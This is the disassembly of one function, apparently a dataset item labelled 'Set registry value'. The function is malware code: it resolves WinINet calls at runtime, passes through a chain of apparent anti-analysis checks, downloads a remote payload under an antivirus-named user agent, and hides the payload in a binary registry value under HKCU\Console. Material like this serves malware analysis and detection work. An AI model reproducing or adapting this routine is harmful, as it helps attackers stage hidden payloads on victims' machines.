Function at 0x140001ae0
Capabilities:
Set registry value

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x70
mov rbp, rcx
mov ecx, 0x64000
call fcn.1400022e0
lea rcx, str.wininet.dll
mov dword [rsp + 0x98], 1
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
jne 0x140001b28
mov rcx, rdi
call fcn.140002268
add rsp, 0x70
pop rdi
pop rbp
pop rbx
ret
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x68], r12
lea rdx, str.InternetOpenW
mov rcx, rax
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x58], r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetOpenUrlW
mov rcx, rbx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetReadFile
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetCloseHandle
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
test r12, r12
je 0x140001e3a
test rsi, rsi
je 0x140001e3a
test r14, r14
je 0x140001e3a
test rax, rax
je 0x140001e3a
mov ecx, 0x1f4
mov qword [rsp + 0x50], r15
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001090
test eax, eax
je 0x140001bcd
call section..text
call fcn.140001140
test eax, eax
je 0x140001bdb
call fcn.1400011f0
call fcn.1400011f0
test eax, eax
je 0x140001be9
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140001bf7
call section..text
call section..text
test eax, eax
je 0x140001c05
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x140001c13
call section..text
call section..text
test eax, eax
je 0x140001c21
call fcn.1400011f0
call fcn.140001140
test eax, eax
je 0x140001c2f
call fcn.1400011f0
call fcn.1400012a0
test eax, eax
je 0x140001c3d
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x140001c4b
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x140001c59
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x140001c67
call fcn.1400012a0
call fcn.140001140
test eax, eax
je 0x140001c75
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x140001c83
call fcn.1400014b0
call fcn.1400012a0
test eax, eax
je 0x140001c91
call section..text
call fcn.140001350
test eax, eax
je 0x140001c9f
call fcn.140001090
lea rcx, str.huorong
xor r15d, r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r15d
call r12
mov r12, rax
test rax, rax
je 0x140001e2b
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, rax
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x4000000
call rsi
mov rbp, rax
test rax, rax
je 0x140001e25
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0xa0]
lea rdx, str.Console
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r15d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001e1f
mov ebx, r15d
mov esi, r15d
cmp dword [rsp + 0x98], ebx
jbe 0x140001dea
nop word [rax + rax]
mov r8d, 0x64000
mov edx, ebx
lea r9, [rsp + 0x98]
sub r8d, ebx
add rdx, rdi
mov rcx, rbp
call r14
mov r11d, dword [rsp + 0x98]
test r11d, r11d
je 0x140001dbd
add ebx, r11d
cmp ebx, 0x64000
jne 0x140001db8
mov rcx, qword [rsp + 0xa0]
lea rdx, str.huorongqnmlb
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov r11d, dword [rsp + 0x98]
add esi, ebx
mov ebx, r15d
test r11d, r11d
jne 0x140001d50
test ebx, ebx
je 0x140001dea
mov rcx, qword [rsp + 0xa0]
lea rdx, str.huorongqnmlb
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add esi, ebx
mov rcx, qword [rsp + 0xa0]
lea rdx, str.huorongqnmlb
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rbp
call r13
mov rcx, r12
call r13
mov rcx, rdi
call fcn.140002268
mov r15, qword [rsp + 0x50]
jmp 0x140001e4b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rdi
call fcn.140002268
mov r13, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x90]
mov r14, qword [rsp + 0x58]
add rsp, 0x70
pop rdi
pop rbp
pop rbx
ret